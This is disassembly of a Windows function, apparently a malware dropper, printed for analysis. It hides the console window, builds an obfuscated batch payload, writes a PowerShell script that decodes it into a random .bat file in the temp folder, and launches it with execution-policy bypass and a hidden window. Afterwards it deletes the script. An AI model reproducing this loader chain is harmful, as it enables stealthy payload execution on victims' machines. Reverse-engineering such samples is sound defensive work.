Function at 0x1d65f15c9
Capabilities:
Delete file
Execute command
Hide graphical window
Set registry value

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x420
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x330]
mov rcx, rax
call fcn.1d668db60
mov ecx, 0x6385d9
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x390], rax
mov rax, qword [rbp + 0x390]
mov rcx, rax
lea rax, str.cmd__c__set___rem__r_nset__c1NXY1l0setwdYYk_wdYYkQwdYYknB3wdYYkSwwdYYkwdYYk1_wdYYkwdYYk_swdYYktawdYYkrtwdYYk_wdYYk__wdYYk__wdYYkmiwdYYkn_wdYYk__r_nset__TG9pZ2NZwdYYk_ewdYYkxiwdYYktwdYYk__r_nset__SGJVVFRlnwdYYkowdYYktwdYYk_dewdYYkfwdYYkinewdYYkdwdYYk_QwdYYknBwdYYk3SwdYYkwwdYYkwdYYk_r_nif__SGJVVFRl:wdYYk____c1NXY1l0:wdYYk__0__TG9pZ2NZ:wdYYk___r_n::lEBU57a9yZqj1wBGdguMOG1lDUGNMxPZiJ_FhgqXO7wFjJllbieug5fdegUQV9C9UFEDPfssffEP3hrKrkYROh6i7kdZFGJG1nOc6hLzurDWvfTg_YBZyHqU5EAvLlb_ZuxL1yepqjNP6zKEvBiH_NcNdOv3cpK3T_MrNaB_BO9gwjiRYXbjqskmHYpQnO_k3697hmh7gON9lOmc5jNJVwLotho45zDliRtpSzcVLhpkxAfozzp_McCjq8ew1U_XRKZdIGzkXSE5ZzPxbE8PkZAl449sODeauVFjzPcGWNYJOXdErc2Uw27YljMpYpkq1WxO7IKoOOtH3uwXaS50G20lcn6ZrsxkL0dLGLnRhzuwYbSbr8sH6ysGtQmx9ABtuLfOCXYdCI0FwX9aDdJCDZ1_5DZEr54HIKJbwkvW0cEcF1fFRdQyXpsdvKqfRm6pbS8WND3KHkRJDI2IAWso2dz5n2KqfATEFaeIJQsIvjCyx_7rrTWwzOupvqF0M5kwkyFmV1LFt9_alAixTeTMexVoTWgeW8xrtYWc39qSgyKKBD0O7Xc5SVKQGrTkgX8Yw4PQC05fsi3H_ZCA4fTWyVhSOn0sSYufd1gzTpoeD3egMN0JZP6m_Ta6qlU7hDdB7zWJOfRABLab19F9BQRfJ3lQrH0Z_PKgcvg9u4hXeZdVwY9fBVcKo3aaRYqPR9lf85Rh1cFfFaF7xOYWiRFBmcx4n5arjSMTXDvs2aCaglssd7SDPp14cbBN7z8TaPegusJ2Rp5s8XnBBVAzJ5KlqZazgepe78umPKa4SDzC5LLM6OduwB2jTmB3dFDfmKNOMWj8FC855PXkPItgBuNAuTA5qvrrRQrqr9mfAbpPfgef1MZnECSA7jEG_9aojjvS49_R9Sk5EnI3U6iQyJfRPcYPsqAqRVJH2Y6HNhqdoVZsKDEuGVy4Jlu2TKKic8D88wAxZ5BkE88_vvf6wZvsRykjpMQRXtO1DDkFlStwlvauMQdeCG5wEOO08oMyasnQttWMI4SB57BP4A6EgcDOJJc6atZtSIWfFK0i8Wiayx98ZNorJaNzUT4hcu7Ofm9bMNeEh73XFojMEI7YgRjGgKZFJSes6GZ8p_Pi5qoy1yllWIC8q6U0ar0m2mXydYfbFE5DKecK9TulxOrMZsHOfaPxY_RoJ0m6Hyfdb2TSdzUsuXzNCvkfut14y0ViiEKHELoeshwYrqXdyeQB5f35PHMLmmdYT44lS51nCFoau3TJo8EzC_HC30HTHzwu5XVLgx4ffFUsSnYeNmmSPsHgZ_tVGLfvH7tKfxcnHylq3CuP0Z_DhP7BPmIRkRT9WDIqj4LIYOYz9BQlAih8b8SiocyI5rDcvPxN4jDt940dK8egp8qSzC08mUUxycTj7P1NdzhnVBftKLpJigiGcNTKfIwwzlVhMoRFxfKfUOdCIn7ceCzH1xzaHphsImnk4EIMFeTWnwu0G_TfGsH2Eylu7VNXnqUdROZKT6QeKxDSavzqeMvS_uGg444e1Uh_2J8NZOfCZcoieGcw9Xn0YhUj7QEOytf9S84sHom9eRoZqZqwWS1iKDL5BxCEG3sIsYq9lTPMtT6jekNrqKX0yQlnWPoJR6J8BHhu3kVWdvzkd8NESYIBx14zSlqd1Prw3RlnTyKAuAR8yLDnPKPIN9ZFed23lLvoc20TwQA8n1DTmLO9fjVN2OspR1rBzhMmYs6nC4zjI3Nl0fHi7QOsTMl0LcpfCRIHPRNLPoEjB_PSvsyhzcGi2Lyj0Tny1Jn1dZuQz2EFYOPe8iMAVl0Z1DLNkVUsf5w5GpAgaBwRj5riJhBJn3HyoI1_ADkxbKRmlg3DnAeSABCHjdQYdhhsdOGI33A9UDulCOBgRCckz5k0PKA563hTx6i5009mVW7Fcw0p53J85A4Y7pWqsojqpjKAyWR5sOy5gEI05sJPVG9UkCpwrUZhgyeIG9MXv1tPwqew8Qik1vwkNozHs03B_zqxpEbqMQYi8QnZM9Sr7sH2e07QSU8Z7aCGcUOzmCwCbcxvVaRnWywpdKB58NpzvRo0oImKg79l1di73TgErYp22cETShaUfDLVV1YcpAnyJtHeCrKBavcSDuc3cSHNq8aBhM8Qy8eT882hI6CDEPOA_F9dseBZwh0E7AHmF0QdRXuJQ6d3eJUHVqa8RwoJs9JVp1M6G9sc00PDuwONzyY_N7wH1YrrOqRDYCu4r71Ef815uASd6t0EaBdqJLAE7bKEDUbqOcJXcpm59ce6lW43Ug6yorcnqbV75uGoUSsXft9wN1WMILvYuVp9tHv12FXWgEKmTUWdRMIFWap7ACqnb4bCWIsDOQaYZA8ofwVdIEJzlJTa6CzsSWPYkys6oJuCRqeYI3OVz5KjLYBsYuvz1rjkAtBn4oosrKCwF5veIctaoPvw1NvTVbq40ILhSc3rRyXxndfDNQZnUkSstbHh8SxKr9q5tGyHIOX80f4T6VjvWm9Hg9DU153sMIvBbpoDuBj5AI0j0NXSMfzHTRQv4kN1yjBkrCWY9kHPXuzo3NCVsUA1TABC_JADPqSOYqTZlAv7wDsQHcpwxFzLHz9sIrDbexJZ5VBsniJrmhljYk2d47hioy1oEu_sQ7ajCIcgnxYskKqd2goaWqQWtOoLmiGhKVKeb2aMM8rCxadqQzNOX3lO7wanba0juLuKGkZfHXv4IN6dNtbXbGFS0eCkTC8anPddPuU0rzuPVM_TdNHaouHwvSC4jERCy0CCslTbdcDp7s07px4_zlcFbq9pHlWNE3TBpGgtSM7OJsknBUBW615uCdNnU3bz2lPyTFWfa_qgprfqhZjzubhGCg9VgroZ72pAn7u25EYVf_1QqVYs9BXWdz8W8LhIpUFa0mSpQgM5xQpOCcJlPNa_HDdWB0v7f_VZmk2U83sTGiKf4VFNffDWWcYAVCmbJhTvaju1Ncipy0VwBU5SjZNaYcpGka7fNl3jUArvxZOy_yRbPSoT3eInsny3OFT2mR8baptLEDuAlXO36uBicumS_IA30TUc00pHreTlcYFmdIbsqzVpfSTsQCzOwu7QOyHYXaIA2TRn1Ehd3xG48gd9zZBRTX9D3XQ6ga9_sUJ5k9H6RpynGCiaKPTxDiHx4PxAy3d7iQ__hXC4MrvRGBb8QlKL2aj4nCJCw4x8u4O0RgekS72B1Oie_9JoZliA1R0z3ugM1N5Aiwb2LVuRcgPcHtvLu5YvXXDSBh1UHSp4ZIvK9mXpzu9XMOib1QF3_BG8CDD8cAmqyhwUDWIJq98QmzVx9CM1Y3hFcnH5aPM2BlTG_L2QIgIifCCalDOTO_wv0UclibPKKa216kPueJ2JLXNaQNh26AvbRmv5Y8dLuORvV5dMR9kA0vHHTzcCxac1J1_a5I4H3yS7CZAGG8b9X6kU5hjw_0SfCL31G3pSR_vmbk_5gAnRTXdlp2dJTnOj5C3tia8EMo0nPF_GZJk6_YFdCpATDYA7rYsjVSwgGBcYq04xPAwmkcprtMJC5NFLAFqtnUGviy7FvWidUKXTtlAxkWpx4hlAZy8qPNLHnsVqmzzlryxVcUaxvV_L0yGdQ6p8lIgQhcB_nUFlF9qxmSFxKwlwRm_BEU1rSPDM23qRbo9g9crPoMiFc7wRrhHO2HCqPgrRGUC
mov edx, 0x6385d9
mov r8, rdx
mov rdx, rax
call sym.memcpy
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669a090
mov dword [rbp + 0x39c], 0
jmp 0x1d65f16c3
lea rax, [rbp + 0x1a0]
add rax, 0x10
lea rdx, [method.std.hex_std::ios_base_]
mov rcx, rax
call method.std::ostream.operator___std::ios_base____std::ios_base__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rbx, rax
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rcx, rax
mov eax, dword [rbp + 0x39c]
movsxd rdx, eax
mov rax, qword [rbp + 0x390]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
call method.std::ostream.operator___int_
add dword [rbp + 0x39c], 1
cmp dword [rbp + 0x39c], 0x6385d8
jle 0x1d65f1651
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call method.std::__cxx11::basic_stringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x370]
lea rdx, [rbp + 0x180]
mov r8, rdx
lea rdx, str._hex___
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
lea rdx, [rbp + 0x370]
lea r8, [0x1d6cea669]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rdx, [rbp + 0x350]
lea rax, [rbp + 0x330]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x350]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x370]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x330]
lea rdx, str._temp_path___System.IO.Path_::GetTempPath___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_name___System.IO.Path_::GetRandomFileName____.bat_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._file_path___temp_path___file_name_n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._System.IO.File_::WriteAllBytes__file_path___byte_____hex__split__..___ne_______convert_::toint16_____16_____n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec__New_Object__com_shell.application__n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp + 0x330]
lea rdx, str._exec.shellexecute__file_path___n
mov rcx, rax
call fcn.1d668e720
lea rax, [rbp - 0x60]
mov r8d, 0x10
lea rdx, str.calc.ps1
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x60]
add rax, 0xd8
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator____const
test al, al
je 0x1d65f1856
mov ecx, 0x20
call sym.__cxa_allocate_exception
mov rbx, rax
call method.std::_V2.generic_category__
mov rsi, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
call rax
mov eax, dword [rax]
lea r9, str.Failed_to_create_PowerShell_script_file
mov r8, rsi
mov edx, eax
mov rcx, rbx
call method.std::system_error.system_error_int__std::_V2::error_category_const__char_const_
mov r8, qword [method.std::system_error.system_error__]
lea rax, [0x1d6cf2b60]
mov rdx, rax
mov rcx, rbx
call sym.__cxa_throw
lea rdx, [rbp + 0x330]
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea rax, str.powershell__ExecutionPolicy_Bypass__WindowStyle_Hidden__File_calc.ps1
mov rcx, rax
call sym.system
lea rax, str.calc.ps1
mov rcx, rax
call sym.remove
cmp qword [rbp + 0x390], 0
je 0x1d65f18ac
mov rax, qword [rbp + 0x390]
mov rcx, rax
call sym.operator_delete___void_
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1d669ab70
lea rax, [rbp + 0x330]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x1d65f1979
add rsp, 0x420
pop rbx
pop rsi
pop rbp
ret